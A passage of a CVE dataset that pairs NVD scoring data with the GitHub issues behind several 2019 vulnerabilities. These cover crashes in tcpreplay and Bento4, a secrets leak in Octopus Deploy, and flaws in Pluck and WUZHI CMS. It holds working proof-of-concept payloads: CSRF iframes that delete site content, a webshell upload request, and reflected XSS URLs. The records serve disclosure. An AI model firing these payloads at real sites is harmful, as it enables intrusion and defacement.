───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd930│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffd938│+0x0008: 0x00000011557be239 0x00007fffffffd940│+0x0010: 0x00005555557be20e → 0x0011323003000062 ("b"?) 0x00007fffffffd948│+0x0018: 0x00005555557b86c0 → 0x0000000000000001 0x00007fffffffd950│+0x0020: 0x00007fffffffd980 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 0x00007fffffffd958│+0x0028: 0x00000000aa841df2 0x00007fffffffd960│+0x0030: 0x0000000000000000 0x00007fffffffd968│+0x0038: 0x00005555557be20e → 0x0011323003000062 ("b"?) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555696d1 <do_checksum+513> add rax, rdx 0x5555555696d4 <do_checksum+516> mov QWORD PTR [rbp-0x18], rax 0x5555555696d8 <do_checksum+520> mov rax, QWORD PTR [rbp-0x18] → 0x5555555696dc <do_checksum+524> movzx eax, WORD PTR [rax+0x6] 0x5555555696e0 <do_checksum+528> test ax, ax 0x5555555696e3 <do_checksum+531> je 0x555555569939 <do_checksum+1129> 0x5555555696e9 <do_checksum+537> mov rax, QWORD PTR [rbp-0x18] 0x5555555696ed <do_checksum+541> mov WORD PTR [rax+0x6], 0x0 0x5555555696f3 <do_checksum+547> cmp QWORD PTR [rbp-0x28], 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:checksum.c+99 ──── 94 break; 95 96 case IPPROTO_UDP: 97 udp = (udp_hdr_t *)(data + ip_hl); 98 /* No need to recalculate UDP checksums if already 0 */ // udp=0x00007fffffffd978 → 0x0000555500000000 → 99 if (udp->uh_sum == 0) 100 break; 101 udp->uh_sum = 0; 102 if (ipv6 != NULL) { 103 sum = do_checksum_math((uint16_t *)&ipv6->ip_src, 32); 104 } else { ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555696dc → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x11, len=0x557be239) [#1] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#2] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#3] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#4] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#5] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#6] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#7] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) ──────────────────────────────────────────────────────────────────────────────────────────── gef➤ p *udp Cannot access memory at address 0x555500000000 ```

Invalid memory access in do_checksum()

https://api.github.com/repos/appneta/tcpreplay/issues/538/comments

3

2019-02-12T17:10:10Z

2019-03-12T21:06:50Z

https://github.com/appneta/tcpreplay/issues/538

409,407,192

538

CVE-2019-8382

2019-02-17T02:29:00.597

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in the function AP4_List:Find located in Core/Ap4List.h when called from Core/Ap4Movie.cpp. It can be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/364" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_listfind-bento4-1-5-1-628/" } ]

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https://github.com/axiomatic-systems/Bento4/issues/364

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a NULL pointer dereference occured in function AP4_List<AP4_Track>: Find () located in Ap4List.h.The same be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4dump --track 1:E791400BC075044176E34136E3C134F35E3513BE430B907B --format text $POC` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/POC_NP?raw=true) **Degub** - **ASAN REPORT** - ``` ASAN: DEADLYSIGNAL ================================================================= ==10246==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x55d0b61aeae7 bp 0x7ffcc696e490 sp 0x7ffcc696e460 T0) ==10246==The signal is caused by a READ memory access. ==10246==Hint: address points to the zero page. #0 0x55d0b61aeae6 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 #1 0x55d0b61adb79 in AP4_Movie::GetTrack(unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4Movie.cpp:148 #2 0x55d0b6161f2f in DumpTrackData(char const*, AP4_File&, AP4_Array<unsigned int> const&, AP4_ProtectionKeyMap const&) /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:183 #3 0x55d0b616304f in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:367 #4 0x7faa6d1a4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55d0b61612f9 in _start (/home/aceteam/Desktop/packages/Bento4/builds/mp4dump+0x3082f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const ==10246==ABORTING ``` **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x20 $rbx : 0x7fffffffd7e0 → 0x0000555555da9370 → 0x0000555555869846 → <AP4_AtomFactory::~AP4_AtomFactory()+0> push rbp $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd6f0 → 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 $rbp : 0x7fffffffd720 → 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 $rsi : 0x7fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp $rdi : 0x20 $rip : 0x5555558a9ae7 → <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] $r8 : 0x6 $r9 : 0x1e $r10 : 0x7ffff7fbd000 → 0x00007ffff7fee000 → 0x00007ffff716a698 → 0x00007ffff6f09090 → repz ret $r11 : 0x7ffff64a9b97 → <__libc_start_main+231> mov edi, eax $r12 : 0x7fffffffd740 → 0x0000000041b58ab3 $r13 : 0xffffffffae8 → 0x0000000000000000 $r14 : 0x20 $r15 : 0x7fffffffd740 → 0x0000000041b58ab3 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $ss: 0x002b $cs: 0x0033 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd6f0│+0x00: 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 ← $rsp 0x00007fffffffd6f8│+0x08: 0x00007fffffffd760 → 0x0000000000000000 0x00007fffffffd700│+0x10: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd708│+0x18: 0x0000000000000020 0x00007fffffffd710│+0x20: 0x00000001fffffaf8 → 0x0000000000000000 0x00007fffffffd718│+0x28: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd720│+0x30: 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffd728│+0x38: 0x00005555558a8b7a → <AP4_Movie::GetTrack(unsigned+0> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x5555558a9adb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdi, rax 0x5555558a9ade <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> call 0x55555585c180 <__asan_report_load8@plt> 0x5555558a9ae3 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x18] → 0x5555558a9ae7 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] 0x5555558a9aeb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov QWORD PTR [rbp-0x8], rax 0x5555558a9aef <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> cmp QWORD PTR [rbp-0x8], 0x0 0x5555558a9af4 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> je 0x5555558a9c13 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const+361> 0x5555558a9afa <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x20] 0x5555558a9afe <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdx, rax ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/aceteam//Bento4/Source/C++/Core/Ap4List.h+428 ]──── 423 template <typename T> 424 inline 425 AP4_Result 426 AP4_List<T>::Find(const typename Item::Finder& finder, T*& data) const 427 { // item=0x00007fffffffd718 → [...] → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp → 428 Item* item = m_Head; 429 430 while (item) { 431 if (finder.Test(item->m_Data) == AP4_SUCCESS) { 432 data = item->m_Data; 433 return AP4_SUCCESS; ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4dump", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x5555558a9ae7 → Name: AP4_List<AP4_Track>::Find(this=0x20, finder=@0x7fffffffd7a0, data=@0x7fffffffd760) [#1] 0x5555558a8b7a → Name: AP4_Movie::GetTrack(this=0x0, track_id=0x1) [#2] 0x55555585cf30 → Name: DumpTrackData(mp4_filename=0x7fffffffe17b "$POC", mp4_file=@0x7fffffffdb80, tracks_to_dump=@0x7fffffffda80, key_map=@0x7fffffffdac0) [#3] 0x55555585e050 → Name: main(argc=0x6, argv=0x7fffffffdd90) ───────────────────────────────────────────────────────────────────────────────────────────────── ```

NULL POINTER DEREFERENCE in AP4_List<AP4_Track>: Find ()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/364/comments

0

2019-02-01T10:30:07Z

https://github.com/axiomatic-systems/Bento4/issues/364

405,641,344

364

CVE-2019-8944

2019-02-20T03:29:00.343

An Information Exposure issue in the Terraform deployment step in Octopus Deploy before 2019.1.8 (and before 2018.10.4 LTS) allows remote authenticated users to view sensitive Terraform output variables via log files.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5314" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5315" } ]

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https://github.com/OctopusDeploy/Issues/issues/5314

[ "Third Party Advisory" ]

github.com

[ "OctopusDeploy", "Issues" ]

Sensitive Terraform output variables are saved and exposed as regular variables, and printed in the logs. For example, if you deploy the following Terraform template: ``` {"output":{"test":{"sensitive": true, "value": "hi"}}} ``` The value `hi` would appear in the logs.

Save terraform sensitive values as Octopus sensitive values (CVE-2019-8944)

https://api.github.com/repos/OctopusDeploy/Issues/issues/5314/comments

2

2019-02-19T23:00:07Z

2019-07-31T08:42:16Z

https://github.com/OctopusDeploy/Issues/issues/5314

412,164,560

5,314

CVE-2019-8944

2019-02-20T03:29:00.343

An Information Exposure issue in the Terraform deployment step in Octopus Deploy before 2019.1.8 (and before 2018.10.4 LTS) allows remote authenticated users to view sensitive Terraform output variables via log files.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5314" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5315" } ]

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https://github.com/OctopusDeploy/Issues/issues/5315

[ "Third Party Advisory" ]

github.com

[ "OctopusDeploy", "Issues" ]

Sensitive Terraform output variables are saved and exposed as regular variables, and printed in the logs. For example, if you deploy the following Terraform template: ``` {"output":{"test":{"sensitive": true, "value": "hi"}}} ``` The value `hi` would appear in the logs.

Save terraform sensitive values as Octopus sensitive values (CVE-2019-8944)

https://api.github.com/repos/OctopusDeploy/Issues/issues/5315/comments

2

2019-02-19T23:08:37Z

2019-05-21T04:01:59Z

https://github.com/OctopusDeploy/Issues/issues/5315

412,167,072

5,315

CVE-2019-9048

2019-02-23T19:29:00.247

An issue was discovered in Pluck 4.7.9-dev1. There is a CSRF vulnerability that can delete a theme (aka topic) via a /admin.php?action=theme_delete&var1= URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pluck-cms/pluck/issues/69" } ]

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https://github.com/pluck-cms/pluck/issues/69

[ "Exploit", "Third Party Advisory" ]

github.com

[ "pluck-cms", "pluck" ]

One: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the webpage will automatically delete the specified image. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=images Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deleteimage&var1=test.jpg" > Two: use the CSRF vulnerability to delete the topic Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified topic. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=theme Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=theme_delete&var1=oldstyl"> Three: use CSRF vulnerability to remove the module Vulnerability details: When the administrator logs in, open the webpage and the specified module will be deleted automatically. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=modules Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=module_delete&var1=albums " > Four: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified article. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=page Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deletepage&var1=aaaa"> Vulnerability suggestions: One: Detect user submissions by referer, token, or verification code. Second: It is best to use the post operation for users to modify and delete.

Four CSRF vulnerabilities in pluck cms 4.7.9

https://api.github.com/repos/pluck-cms/pluck/issues/69/comments

12

2019-02-18T07:08:41Z

2019-05-15T16:25:24Z

https://github.com/pluck-cms/pluck/issues/69

411,330,487

69

CVE-2019-9050

2019-02-23T19:29:00.343

An issue was discovered in Pluck 4.7.9-dev1. It allows administrators to execute arbitrary code by using action=installmodule to upload a ZIP archive, which is then extracted and executed.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pluck-cms/pluck/issues/70" } ]

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https://github.com/pluck-cms/pluck/issues/70

[ "Exploit", "Third Party Advisory" ]

github.com

[ "pluck-cms", "pluck" ]

Vulnerability details: In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=installmodule Vulnerability POC: POST /pluck/admin.php?action=installmodule HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/pluck/admin.php?action=installmodule Content-Type: multipart/form-data; boundary=---------------------------26299170359894 Content-Length: 56087 Connection: close Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco Upgrade-Insecure-Requests: 1 -----------------------------26299170359894 Content-Disposition: form-data; name="sendfile"; filename="webshell.zip" Content-Type: application/x-zip-compressed

A file upload vulnerability

https://api.github.com/repos/pluck-cms/pluck/issues/70/comments

4

2019-02-18T07:28:57Z

2019-05-15T14:01:12Z

https://github.com/pluck-cms/pluck/issues/70

411,336,254

70

CVE-2019-9107

2019-02-25T01:29:00.237

XSS exists in WUZHI CMS 4.1.0 via index.php?m=attachment&f=imagecut&v=init&imgurl=[XSS] to coreframe/app/attachment/imagecut.php.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/ccbbc43330cc9821062249b78c916317" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/169" } ]

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https://github.com/wuzhicms/wuzhicms/issues/169

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the imgurl parameter of /index.php?m=attachment&f=imagecut&v=init Vulnerability file: `coreframe/app/attachment/imagecut.php` ```PHP function init() { if(isset($GLOBALS['imgBase64'])) { ...... } else { if(!empty($GLOBALS['imgurl'])) { $imgurl = urldecode($GLOBALS['imgurl']); } include T('attachment','imagecut'); } } ``` PoC: ``` http://example.com/index.php?m=attachment&f=imagecut&v=init&imgurl=1"+onerror%3d"alert(1)%3b// ``` ![image](https://user-images.githubusercontent.com/47595052/52758438-3e704d00-3043-11e9-8058-3a472f61c775.png)

wuzhicms v4.1.0 imgurl reflected xss vulnerability

https://api.github.com/repos/wuzhicms/wuzhicms/issues/169/comments

0

2019-02-14T02:24:30Z

2019-02-14T02:28:43Z

https://github.com/wuzhicms/wuzhicms/issues/169

410,095,124

169

CVE-2019-9108

2019-02-25T01:29:00.317

XSS exists in WUZHI CMS 4.1.0 via index.php?m=core&f=map&v=baidumap&x=[XSS]&y=[XSS] to coreframe/app/core/map.php.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/ebfef23f0a063b82779151f9cde8e480" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/171" } ]

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https://github.com/wuzhicms/wuzhicms/issues/171

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the x or y parameter of /index.php?m=core&f=map&v=baidumap Vulnerability file: `coreframe/app/core/map.php` ```PHP public function baidumap() { $map_x = isset($GLOBALS['x']) && !empty($GLOBALS['x']) ? $GLOBALS['x'] : 116; $map_y = isset($GLOBALS['y']) && !empty($GLOBALS['y']) ? $GLOBALS['y'] : 39; $map_zoom = isset($GLOBALS['zoom']) && !empty($GLOBALS['zoom']) ? $GLOBALS['zoom'] : 12; if(($map_x=='116' || $map_x=='0.000000') && !empty($GLOBALS['address'])) { $address = $GLOBALS['address']; } else { $address = ''; } include T('map','baidumap'); } ``` PoC: ``` http://example.com/index.php?m=core&f=map&v=baidumap&x=alert(1)&y=alert(2) ``` ![image](https://user-images.githubusercontent.com/47595052/52760115-4f23c180-3049-11e9-9acf-1ca7ac979413.png) ![image](https://user-images.githubusercontent.com/47595052/52760121-564acf80-3049-11e9-80d7-ece73d806d7d.png)

wuzhicms v4.1.0 baidumap reflected xss vulnerability

https://api.github.com/repos/wuzhicms/wuzhicms/issues/171/comments

0

2019-02-14T03:12:32Z

https://github.com/wuzhicms/wuzhicms/issues/171

410,105,652

171

CVE-2019-9109

2019-02-25T01:29:00.410

XSS exists in WUZHI CMS 4.1.0 via index.php?m=message&f=message&v=add&username=[XSS] to coreframe/app/message/message.php.

